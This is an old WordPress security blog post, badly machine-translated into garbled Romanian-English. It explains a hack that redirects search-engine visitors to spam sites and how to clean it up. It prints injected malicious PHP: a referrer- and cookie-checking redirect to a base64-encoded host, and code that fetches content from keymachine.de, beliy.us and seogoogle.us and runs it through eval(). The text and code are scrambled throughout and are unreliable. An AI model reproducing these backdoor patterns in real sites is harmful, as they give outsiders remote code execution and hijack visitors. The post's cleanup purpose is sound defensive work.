WordPress Hack: A nota �i Fix Google �i Cercetare Motor sau Nu Pr�jitur� Trafic Redirected la spre Al t�u-Needs.info, AnyResults.Net, Aur-Info.net �i Alt Illegal Sites

Hackers e�ti care merge tot afar� la spre hack �i exploit WordPress blogs c�min tot �nc� o dat� art.hot. web, plant� �i injecting malicious code into WordPress codes �i baz� de date �n�untru ordine la spre redirect visitors �i hits de la Google �i alt cercetare motor la spre spam sites such as al t�u-needs.info, anyresults.net, aur-info.net, keymachine.de, beliy.us, seogoogle.us �i mul�i alt spam sites that plin cu pay- de- pocnitur� CPC ads. Ni�te hack apendice la spre target mai mare crowd by redirecting tot f�r� WordPress pr�jitur�. F�r� been hacked, ace�tia trafic supposedly la spre a sosi la art.hot. blog as destina�ie.

Symptoms de la Cercetare Motor Redirection Hack

Not � that nu tot symptoms Mai fericit altogether. Acolo Mai a fi mai mult dec�t unul method de hacks existed, care contributed la spre different afl� �i posibil resolution.

• Orice pocnitur� g�t de la cercetare motor such as Google, Yahoo, AOL, MSN, Ferestre Ficat cercetare results, a cuprinde blog nume, voin�� a voi a fi redirected �i �nainte la spre hackers’ sites such as al t�u-needs.info, anyresults.net, aur-info.net, keymachine.de, beliy.us, seogoogle.us, cu art.hot. list� sure la spre grow. Privit a sosi la art.hot. hacker pagin� cu art.hot. same cercetare fibros that el sau ea folosit la cercetare �n�untru cercetare motor.
• Pocnitur� on un link la blog on RSS feed gata such as Google gata a putea a fi redirected la spre hacker site de asemenea.
• UN visitor cu nu socoteal� pe blog, sau nu login (hence does nu has pr�jitur� detected by malicious code), voin�� a voi a fi redirected la spre spam sites.
• Unic visits de la cercetare motor e�ti been redirected away, �i art.hot. �mecherie conducere la spre fool around probably o mul�ime de bloggers, webmasters �i site proprietar, sau cel pu�in �nt�rziere art.hot. detection de la problem�.
• Sudden huge �i dramatic drop �i a pierde de masaj amount de visitors trafic �i pagin� vedere �n�untru web tractor statistics, especially trafic cu Google as referrer, sear� though cercetare motor results ranking is intact.
• Masaj drop de reclam� revers de la Google AdSense sau alt ads re�ea, sau affiliate commissions.
• Art.hot. a urma baz� encoded PHP code Mai apendice pe wp-blog-header.php dosar:

  <?php \
$serefarraygoogle,msn,live,altavista,ask,yahoo,aol,cnn,weather,alexa=("""""""""""""""""""");
$ser0=; foreachseref($ as $ref) ifstrposstrtolower_SERVER’HTTP_REFERER’,ref((($[])$)!==false){ $ser1=”?;gustare de diminea��; }
dac� && sizeof_COOKIE0($)==){ headerLocation(”: http:/”.base64_decodeYW55cmVzdWx0cy5uZXQ.(”=”)”/”);ie�ire; }? >

• Un imagine, care is �n�untru frac�iune un buchet de malicious PHP code, was added la wp-contents/ �nc�rcat sincer. Pentru example, wp-contents/ �nc�rcat/2008/06/06/abcdefghijklmn.jpg, sau it Mai a fi interior al t�u pe ei pliant, i.e. wp-contents/themes/classic/images/xyz.jpg. Art.hot. nume de la imagine Mai a fi �n format de xxxxxx_old.jpeg.
• Un intrare was a insera �n�untru MySQL baz� de date pentru WordPress wp_options la spre activate art.hot. imagine ( art.hot. malicious PHP code) as un dop, typically as rss_f541b3abd05e7962fcab37737f40fad8.
• Acolo Mai a fi de asemenea malicious codes, especially aceia that interpret cu eval() sau base64_decode() virgul� been a insera into alt WordPress PHP dosar. Examples e�ti art.hot. a urma codes:

  ifisset_GET'p'(($[])) {
$�osete = @fsockopenkm20725.keymachine.de(’’, 80);
ifsock($){
fwrite ($ �osete, ‘ a lua http:/km20725.keymachine.de/ a servi/index.php?/host._SERVER'SERVER_NAME'.p._GET'p'.=’$[]’&=’$[]’ HTTP/1.0.rn′”\\”);
fwrite ($ �osete, ‘ gazd�: km20725.keymachine.de.rnrn’”\\\\”);
whilecontent($[] = fgets ($ �osete));
$contact = implode(”, $ contact);
@evaltrimsubstrcontent((($, strposcontent($, “\rnrn\\\”))));
fclose ($ �osete);}
}

  ifisset_GET'p'(($[])) { @eval@file_get_contentshttp((’:/beliy.us/ a servi/index.php?/host._SERVER'SERVER_NAME'.p._GET'p'=’$[]’&=’$[]));
}

  ifisset_GET'p'(($[])) { @eval@file_get_contentshttp((’:/seogoogle.us/ a servi/index.php?/host._SERVER'SERVER_NAME'.p._GET'p'=’$[]’&=’$[]));
}

  evalgzinflatebase64_decode(((

• WordPress pe ei aceasta este tot been activated �i folosit a putea a fi injected cu hacking code �i a afecta de asemenea. Such code normally exists �n�untru header.php sau index.php de la pe ei, �i has un linie similar la sub

  ifser”1″($== && sizeof_COOKIE0($)==){ header”Location(:

Art.hot. WordPress cercetare trafic redirect la spre spam site hack fericit probably datorie la spre sigur hole �i vulnerability aceasta este tot nu patched c�nd blog proprietar decides nu la spre upgrade la spre t�rziu traducere de WordPress (although ni�tereports that lor blogs been hacked sear� though s�u’ already pe t�rziu traducere de WordPress 2.5.1). Whatever art.hot. veninos, aici’ art.hot. fix �i solution la spre resolve �i defeat art.hot. hack la spre a asigura that tu own spate art.hot. trafic �i avoid been penalized by Google by unreasonable redirecting la spre spam pagin�.

1. Spate art.hot. WordPress baz� de date.
2. Folos phpMyAdmin la spre maro WordPress MySQL baz� de date mas�. Du-te la wp_options mas�, �i apoi atunci a redacta art.hot. row numit active_plugins. Art.hot. row details tot active dop that has been activated. Energie g�t art.hot. list� ( �n�untru un linie), �i privire pentru un un dop numit ended cu un imagine prelungire, such as .jpg, .jpeg, .gif �i etc. Pentru example, abcdefgh_old.jpeg. Not � jos art.hot. patetic la imagine dosar.
3. Folosire sFTP sau SSH ( a ierta despre FTP sau Telnet pentru sigur), apoi atunci navigate la patetic de la dosar, �i a �terge art.hot. dosar.
4. Du-te la WordPress Administrator Dop panel, deactivate sau activate orice dop la spre clar off art.hot. malicious dop de la “active_plugins” row.
5. Spate la spre phpMyAdmin, la art.hot. wp_options mas�, afl� un row that contact art.hot. a urma fibros as option_name:

   rss_f541b3abd05e7962fcab37737f40fad8

   A �terge art.hot. row away.

   Dac� tu dont’ know cum la spre parfum art.hot. baz� de date clar detailed �n�untru pas above, aici’ un vizual tutorial:

6. Du-te la wp_users mas�. Dac� acolo is un nameless user (null value �n�untru user_nicename field) a crea la 000000:: on 0000-00-00, not � jos art.hot. user IDENTITATE ( identitate field, un num�r). A �terge art.hot. user.
7. Maro art.hot. wp_usermeta mas�. A localiza tot rows cu user_id meciuri art.hot. IDENTITATE de la a �terge illegal user. Acolo e�ti normally trei rows been a asocia la invader user Identitate. A �terge tot art.hot. a asocia rows.
8. Login la a servi la spre a redacta art.hot. pe ei dosar, sau maro art.hot. pe ei dosar’ code �n�untru Pe ei Redactor de WordPress Administrator Design panel. A verifica art.hot. header.php �i index.php pentru orice suspicious code. As mentioned above, privire pentru ceva similar la linie sub:

   ifser”1″($== && sizeof_COOKIE0($)==){ header”Location(:

   Dac� a �ntemeia, a �terge �i remove art.hot. code. Not � that art.hot. malicious code voin�� a voi a fi mai mul�i linii lung �n�untru total.

9. Dac� s�u’ nu already existed, a crea un empty index.html dosar �n wp-contents/ dop sincer. Art.hot. gol index.html hides art.hot. contents de la dop sincer, efectiv shield ce dop-ins been folosit de la hackers la spre tare �i �nchis art.hot. WordPress sigur.
10. �nc�rcat �i replace each �i fiecare WordPress dosar ( nu unic wp-blog-header.php) pe a servi cu art.hot. proasp�t, clar, �i origine t�rziu traducere de la WordPress (de course, except pu�ini dosar such as wp-config.php �i pe ei). Dac� al t�u’ upgrading, gata art.hot.ghid precaut.
11. Scimbare al t�u password.
12. Dac� tu ai multiple users, scimbare lor password ( sau a intreba pe ei la spre scimbare art.hot. password) de asemenea.

import: Aceasta este o machine a traduce pagin� care is provided "as is" f�r� warranty. Machine traducere Mai a fi difficult la spre understand. A face pe plac la refer la spreorigine Englez anghinar� oric�nd posibil.

Share �i contribute sau a lua technical cin� �i ajutor laMeu Digital Via�� Forums.

Rela�ii Anghinar�

• A aduna NoFollow Rela�ii la spre WordPress Blogroll la spre Increase PageRank
• WordPress Dop: Display Google Analytics �i FeedBurner Reports Statistics de la Site Admin
• Technorati Incoming Links Dop pentru WordPress
• UN Gland� La Google Merchant Cercetare
• Cum la spre Avoid, Bypass sau Escape Google Nisip
• SEO Prietenesc Rewrite Method la spre A mi�ca Website URL De la Subdirectory la spre Root P�rinte Pliant
• Ask.com Cercetare Motor Copie by CNNMoney
• �ofer Mai mult Trafic by Folosire Imagine
• Integrate �i Display Google AdSense pentru Cercetare �i Co-Op Obicei Cercetare Motor Results �n�untru WordPress Blog Pagin� Template
• Care Cercetare Motor is art.hot. Cel mai bun �i Most Relevant?

This intrare was post on Mar�i, Iunie 10th, 2008 la 103: s�nt �i is dosar josWeblogs. Tu po�i a urma orice r�spuns la spre this intrare g�t art.hot.RSS 2.0 feed. Tu po�iplecare un r�spuns,sau trackback de la al t�u own site.